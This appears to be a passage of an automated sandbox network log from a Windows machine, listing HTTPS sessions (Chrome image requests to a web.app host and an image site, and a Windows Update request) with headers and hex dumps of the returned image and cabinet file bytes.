2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii:
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49764	199.36.158.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:35 UTC	562	OUT	GET /init-background.jpeg HTTP/1.1 Host: hiirscktcy.web.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:35 UTC	596	IN	HTTP/1.1 200 OK Connection: close Content-Length: 72003 Cache-Control: max-age=3600 Content-Type: image/jpeg Etag: "ffbe2bad84ec145d6f485e06bef060ede8d5c6061b0b6c5cad4693d02206c802" Last-Modified: Thu, 07 Dec 2023 11:28:31 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:35 GMT X-Served-By: cache-chi-kigq8000022-CHI X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714348896.515865,VS0,VE166 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: ff d8 ff ee 00 21 41 64 6f 62 65 00 64 40 00 00 00 01 03 00 10 03 02 03 06 00 00 00 00 00 00 00 00 00 00 00 00 ff db 00 84 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 01 01 01 01 01 01 01 01 01 01 01 02 02 01 02 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 ff c2 00 11 08 01 4f 02 9e 03 01 11 00 02 11 01 03 11 01 ff c4 01 2a 00 00 01 04 03 01 01 01 00 00 00 00 00 00 00 00 00 04 03 05 06 07 00 02 08 01 09 0a 01 00 02 03 01 01 01 01 01 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 07 08 09 10 00 01 03 03 03 Data Ascii: !Adobed@O*
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 74 35 2e 39 6c e9 88 bd f7 72 3c c7 23 e8 f5 9c 75 7e ff 00 7a f2 3c db b6 8a 77 9f 71 ee 5d 5d 75 72 5d 08 5d d8 81 92 58 ac 07 15 7a 09 2b 97 3e 0b 89 8b 93 40 3d 57 f3 cf 06 ff 00 93 dc fe ae 10 fd 31 f5 57 1e 6e a6 63 97 1d 22 7d 8b 48 52 5d 90 f5 33 dc 48 7f 32 ad bf 1d ba bc d6 96 e5 12 06 f9 5e 06 02 60 a0 26 0a 02 60 e8 2f 01 48 32 4d 46 68 4f a2 bc 0f 43 20 02 42 03 70 d0 07 0f 24 f1 93 81 ec 2f 52 d9 4a ec f7 78 ba e0 79 35 c0 c0 c0 c0 95 d5 bd 1f 8f a7 17 7e 2e 76 6a b4 0b ae b8 be cc 3b 13 b5 96 b8 e9 09 3a 3d d2 c4 52 85 cf af e1 12 dd f5 b3 4d 3e 84 13 c8 9b 73 f1 e2 a9 0c 46 86 95 51 a4 1b ec c6 99 80 a1 8d e0 09 61 01 b5 6c 10 13 5d 64 36 8a b6 c6 5a c6 c2 ba a3 27 5b a9 79 1d 16 71 cd 00 d0 9b 0b 51 b0 70 31 56 d1 d0 0e 86 1e 7e ea f9 dd Data Ascii: t5.9lr<#u~z<wq]]ur]]Xz+>@=W1Wnc"}HR]3H2^`&`/H2MFhOC Bp$/RJxy5~.vj;:=RM>sFQal]d6Z'[yqQp1V~
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 48 34 3a 4d d6 ae 72 e1 94 df 47 cb 3a 27 44 eb 1f a4 30 0f 81 a2 4f 90 bf ae ff 00 00 c3 bb be 15 7d 6b 97 f0 fe 8d f2 23 cf fd 8f 90 f0 fb 3a f7 e7 3e ba a3 f9 0f d2 d6 ac 96 09 44 16 74 15 ad 86 91 36 57 02 7e 9c 7f 5a fa 87 ce fc 14 ea 2d 89 81 45 2a d4 ba 1c 9b 47 89 62 90 08 80 66 c9 44 22 6a d0 17 20 f2 26 91 1e 4a 29 72 30 3d 5d bc 98 d2 69 3e b3 7d c7 b2 0d bf 16 ea 62 d1 19 67 29 00 f0 b4 e1 3e ca 9d 5f 2c 2b ba b3 29 8a c0 c0 c0 c0 ca 9b cb 30 3d 99 7d 81 a4 50 92 28 ea cd fd ef 97 3f a9 cd 70 dd 9b 76 c5 99 9a bf b3 ef 9a 7a 7b c7 16 ef 9f bd 6e 08 b2 82 aa c5 2e 12 96 76 2e 3e a2 b7 a5 61 bf 8d 71 f2 7d 1b a0 10 18 14 e7 6b c8 7c 70 fd af fc ed b5 bc ff 00 a4 b2 b8 be 99 2f 21 f4 ff 00 ce 03 be 87 5a e3 e9 d7 df 30 f7 50 6f 01 ec 4f 24 79 95 Data Ascii: H4:MrG:'D0O}k#:>Dt6W~Z-E*GbfD"j &J)r0=]i>}bg)>_,+)0=}P(?pvz{n.v.>aq}k\|p/!Z0PoO$y
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: f3 0f 7f e7 4a d6 85 b4 e6 c5 cc d9 91 fb 4b f0 5d 7b 33 26 d8 8c ae 56 0e b3 33 31 09 e4 d1 19 e3 cc a7 d1 57 d0 d6 b1 55 6a c7 cb 1d ae 77 32 fa ff 00 39 cb df 40 f1 dc 3b f7 3f 8f 31 f2 3a f4 c7 cf 3e 91 1b e0 f6 58 78 9d 46 ac 5d 10 38 9d 0a ff 00 e6 5e d4 8c fa 7e bf 79 1f 7f d3 dc ad fb c4 c8 98 b6 2c 3a 7c c4 ee 11 f5 7c 0a 17 6f 2e 21 b3 14 7d 8a 60 b5 18 b4 54 52 a8 44 8d 75 8f 32 ab 28 e0 87 ed a3 07 6a e2 d8 e5 0d a0 ab 7f a0 3e 3f d9 f3 c6 ec 34 4f 47 95 57 6f e7 c2 34 e0 6c d3 04 65 1c a2 5f 97 aa 49 83 6c b5 3b e6 78 36 cb 31 6b 7e 4b be 71 7d 1b e6 c4 06 06 06 92 bf 60 f0 32 4f 4a e5 67 d9 ae 07 93 38 1b 43 bc 26 6c 9b c2 a5 19 69 23 a9 82 4d ec b8 5b c4 a8 c5 6e 4f d0 b5 57 f4 fb e5 ba 36 0e 79 b4 54 f6 fa db 56 ab 9b 34 af 90 b7 23 92 fb Data Ascii: JK]{3&V31WUjw29@;?1:>XxF]8^~y,:\|\|o.!}`TRDu2(j>?4OGWo4le_Il;x61k~Kq}`2OJg8C&li#M[nOW6yTV4#
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 80 86 65 8c 0c a9 bd a7 c8 35 a1 b3 e4 a1 5d 16 f3 b6 5f 8f b3 83 b3 7a 39 ad 10 e6 8a 2e b2 07 ac ec 9b 91 7d 3d 95 62 a6 0a d5 f3 08 11 a5 70 80 42 2e 40 55 57 a4 5c 20 14 65 2b 9d ac 29 96 54 69 6a bc b4 a0 90 93 dc fa 13 c2 08 7c 78 3b 2a 32 75 0e f3 b3 f5 67 e8 b0 b0 91 79 0c 85 de b1 d0 a5 54 8a 0d 0f a5 2b a7 9b d4 df 91 3c f7 37 49 96 b6 95 b6 56 35 ac 6d 67 28 13 5e 6f 5b 40 f0 9c 89 54 37 99 5d 52 5a 03 c6 1e 93 7b dd e8 d0 7a 2e ea 87 b9 29 8e f9 dc e4 31 e5 4f 36 6a 6a 9c d5 d0 c1 c2 7e c3 c3 b2 bb 36 06 d3 6c 0d 62 b8 18 1b c0 4c 2b a3 f7 1d c9 7c fd be f9 ed 67 e4 94 68 39 93 3d e9 50 7b aa ac 90 bc 69 78 d1 34 eb d7 cd 21 15 7b 23 f9 e1 f7 45 1b 43 cc f7 63 07 ad 14 92 05 55 46 26 45 6b ab 35 58 87 c0 f3 3a 28 ad 0a 59 61 a8 7b 27 af 9a 8e Data Ascii: e5]_z9.}=bpB.@UW\ e+)Tij\|x;*2ugyT+<7IV5mg(^o[@T7]RZ{z.)1O6jj~6lbL+\|gh9=P{ix4!{#ECcUF&Ek5X:(Ya{'
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 1f 12 31 87 6a b8 42 ed cc 1d 7e a9 e0 77 7a 3b 93 e9 ad 3e 57 51 c7 23 0c 09 06 8c fe df 3c 58 73 22 ac 08 03 a5 48 10 d1 71 02 52 b3 01 25 a6 13 1b 72 45 d1 99 00 98 f1 7a 84 48 9d 96 5a 1c 60 f8 07 5b 95 43 75 7c e4 97 06 ee a1 e1 fa 39 2e 1d e7 c2 f3 44 af 19 84 82 3d bb 0c bf 36 99 fa ac e0 0f 10 b3 1c 97 22 0e d0 97 2d b8 8b 83 5a d0 f7 cf 93 6d 01 9d 6c 8f 85 64 8d 74 ce fc f4 66 ac 74 76 fe 7d 31 d4 e5 c0 37 61 62 d1 84 46 a4 cc ed 58 d1 22 b3 7a 02 af eb 7a db b3 b7 e0 e9 26 61 e8 10 bf a3 1c ce 4d 1d 9d 30 f0 8d 26 53 89 86 07 cf 3a 68 f9 52 74 7e 76 64 bc 02 60 54 a3 6b 36 70 87 f4 bf 0f b9 d6 9c 7f 45 73 f2 7b 8f 2b 85 00 89 8d c8 f2 b6 20 07 b4 34 92 cc ca 34 ba 23 4c 43 6c 8d 96 1b b7 73 e4 1c 7e 9c 8b 0f 50 07 21 b2 65 9e f9 d8 42 4f 57 14 Data Ascii: 1jB~wz;>WQ#<Xs"HqR%rEzHZ`[Cu\|9.D=6"-Zmldtftv}17abFX"zz&aM0&S:hRt~vd`Tk6pEs{+ 44#LCls~P!eBOW
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 56 68 cf 10 7e 60 a7 2f ba 27 ff da 00 08 01 02 00 01 05 00 eb 4f 5f c5 54 b5 f4 fa bd fa d5 d7 fb d4 ca a1 e8 ea 57 72 56 12 34 6c 74 b2 92 7a 5e 31 76 78 c9 99 ae 7d 9b df e9 d5 68 ae 99 d9 ce f2 a6 37 a9 e1 76 75 20 fa 5b 37 a9 0a bb fb 19 be f7 6f 47 19 34 45 72 c6 37 b1 d6 58 cb 3a 48 ec 9c 9a 2b 47 53 43 a2 1d 5d 0c 8e 2d 23 33 b4 b1 d4 ef 63 42 20 70 5a 32 a5 95 bc 4f 1b c9 70 d1 a6 b9 a9 0b 54 ad 2d b4 77 89 11 27 7d 5e dd 12 22 d5 8c 6a 47 e8 ad cd 85 5c fb 0f b8 fb 6b f6 fd 2d d3 4f a5 d7 af 41 ea cf a7 d1 52 ab ab 3b ba 19 1e 36 7b aa df b6 e4 98 74 4c 5a 2b 94 df 97 d4 c3 e9 72 2d a9 db 38 b1 bd 2a d0 bd 5d b5 6b 61 f5 21 d5 b2 bf 6b 5a 35 48 b4 64 46 ec ed a8 b5 cc d4 bd bd cd 25 05 cb b8 ea ae e4 66 7b 4b 66 76 bb 81 81 17 b1 03 6a f3 b1 31 Data Ascii: Vh~`/'O_TWrV4ltz^1vx}h7vu [7oG4Er7X:H+GSC]-#3cB pZ2OpT-w'}^"jG\k-OAR;6{tLZ+r-8*]ka!kZ5HdF%f{Kfvj1
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 4d 7d f1 d3 ee 26 67 93 71 c8 ed 26 7e e1 c8 b3 13 bb 1e 46 77 6f 97 29 3d 52 1f 50 06 07 19 48 19 68 b6 16 eb 7d af 90 b3 c7 c1 95 b4 97 01 1c a3 7d b0 86 e4 b3 9b 46 5c 74 93 5b 1b 47 71 8b 2b c8 b7 56 1a 4b 69 3b ee c9 9e b5 ec e9 d7 b7 57 5e 88 7f ed bb ff 00 a5 df d6 d1 f4 17 5e ff 00 4b 7d 47 ea c6 0e ef f5 3a f4 e9 a2 a1 52 81 0f e3 f5 e9 e9 f4 e8 ae 81 e6 2c 4d f9 58 b3 89 3a f5 42 6e 9a 46 59 cb 27 68 e4 b7 72 7a 87 a0 bc 6e e2 d0 a6 38 85 fe 64 42 dd 1c c5 d3 8d 5d 4f 58 e4 e1 3e 44 b9 31 96 43 85 47 71 58 df e1 2d 32 cf 9e da d0 e3 e1 37 6b 61 c8 62 23 ca 2b eb 11 85 a0 f4 77 5e ec fe ac b4 74 3e cc fa 27 41 ff 00 75 df fd 2e 5a 3d a3 b6 8f ee fe df 4b 7b f5 74 ce c9 81 9d 32 d7 eb f4 d1 52 ca 81 40 87 f1 fa 85 7e 5f d1 c2 df 33 14 df fc 81 79 Data Ascii: M}&gq&~Fwo)=RPHh}}F\t[Gq+VKi;W^^K}G:R,MX:BnFY'hrzn8dB]OX>D1CGqX-27kab#+w^t>'Au.Z=K{t2R@~_3y
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: a8 95 4e ea e6 1b 6b b8 31 1b 63 0f 81 3f b5 6a c8 75 25 1d a1 9a b5 da 19 1b 87 b3 e2 db bb 86 c4 71 48 e2 e5 8f 2c 4f 69 98 cc 48 25 9b bf 3b 80 a9 c9 ae 8e 87 88 be 33 64 6c 46 fc 9c 7d 1d b4 57 f6 f4 34 51 3b 93 13 83 fe c0 85 1e 49 c9 8e e0 89 5a 92 33 77 61 24 ce ec 98 b4 4c 4a a4 c5 e8 eb dd 3f e2 68 2e 22 95 5c 58 43 33 db 62 fb 2a f3 20 f6 88 2f 88 5e 3c eb c2 21 b8 63 37 8f 27 19 b0 e4 83 56 be 89 db e4 2f 90 8f 2d 1b 23 cd 46 ca 4d cd 1b 31 ee a8 d9 3e e4 2d 3f d9 0a af ab d3 ab 7b fd 4f af 49 7d f1 f7 bd a4 e6 c4 cf 2b 82 a8 55 42 b2 b6 35 b0 e3 65 77 9e dc 85 07 da 84 e6 74 23 31 28 f1 d2 c8 a3 c0 4a 6a 1d a8 2c a2 db 10 32 b5 b1 8e dd 5b cb db 16 b9 1d 1a e5 b5 b6 c8 8b 39 65 41 5f e4 46 51 94 d9 c8 ee 8f 49 2e 64 64 66 0c 8e 41 d7 2a 22 4c Data Ascii: Nk1c?ju%qH,OiH%;3dlF}W4Q;IZ3wa$LJ?h."\XC3b* /^<!c7'V/-#FM1>-?{OI}+UB5ewt#1(Jj,2[9eA_FQI.ddfA*"L
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: ca a5 52 a9 d5 44 b5 5a ba ec 12 ec 12 26 4e 3e b4 ba a5 d5 4c aa 64 d2 d4 dd ba 9a 57 a5 44 55 a0 6a d4 ed 4a 76 d1 9d 93 8a 26 4c da 26 65 db 65 db 65 ab 32 ee 32 a9 b5 a9 99 7b a7 f4 55 3a 62 77 4e f4 23 ba a5 e4 c9 a9 72 ee ca 3c a1 6a 19 07 26 8e f9 cd 01 56 cb 5d 7a d6 ca a5 5b 2e e3 2e f3 2e f3 2e eb 2e f3 27 90 53 48 2b e5 32 f9 2c be 4b 2f 92 ca a7 55 f4 d1 68 ea 97 44 6e ef 8b bb 68 c3 4d 53 cb 42 16 a9 35 a3 93 4b 68 a2 b4 4d 6e 9a dd 3e 9d 35 e9 dd d5 b5 d5 09 54 86 0d 58 2d dd 90 c5 a2 a5 52 8a 2d 53 db bb a6 96 a6 ed 54 a9 65 a3 26 6f 46 75 4a a5 35 ec a4 ab 94 d0 e1 e1 07 1b 58 63 67 9f 54 52 3b ae d9 26 8d d6 8e b4 5d 85 d8 5f 1d 7c 75 f1 cb 5e d6 89 81 99 6a 2c 9e e9 9d de e9 b4 79 6a 45 0b 12 92 16 26 93 1e c4 a6 b0 89 9a 5b 68 99 e3 9d Data Ascii: RDZ&N>LdWDUjJv&L&eee22{U:bwN#r<j&V]z[.....'SH+2,K/UhDnhMSB5KhMn>5TX-R-STe&oFuJ5XcgTR;&]_\|u^j,yjE&[h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49749	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:35 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=v+RVTz3dGX2WkHN&MD=WXG9zNre HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-29 00:01:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6cf3858c-0212-41dd-926a-b2b924751721 MS-RequestId: 1257a8d9-63d8-4386-8b70-f4364bca78d1 MS-CV: 0qVJPnaHaUuc4AYJ.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 29 Apr 2024 00:01:35 GMT Connection: close Content-Length: 24490
2024-04-29 00:01:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-29 00:01:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49772	104.18.42.227	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:37 UTC	613	OUT	GET /very-thumbnail/2021/09/Outlook-icon-on-transparent-background-PNG.png HTTP/1.1 Host: image.similarpng.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:38 UTC	954	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:38 GMT Content-Type: image/png Content-Length: 69286 Connection: close last-modified: Mon, 13 Sep 2021 14:14:39 GMT x-rgw-object-type: Normal etag: "023bff6503a7c777fb61eb08bc9ce84a" x-amz-request-id: tx000000000000071d9ee72-00656a349a-4d33653d-nyc3b vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method strict-transport-security: max-age=15552000; includeSubDomains; preload x-do-cdn-uuid: 072a0ebe-bbef-4350-ab6e-e04d2ac99d6c Cache-Control: max-age=3600 x-envoy-upstream-healthchecked-cluster: CF-Cache-Status: HIT Accept-Ranges: bytes Set-Cookie: __cf_bm=AbOvQQV3UiJ5GXNC36BkMdW5TFY9QpdxtBK3OO3Hawk-1714348898-1.0.1.1-Dj8492r8f21t6xyh9JyPA1VJVTsdCZrzr3lLshorXAtFCRt9wDoxx8pd.ybG8fJiAYQvQFyCR4aCtD1iWloGaQ; path=/; expires=Mon, 29-Apr-24 00:31:38 GMT; domain=.image.similarpng.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 87bb04c46f126333-ORD
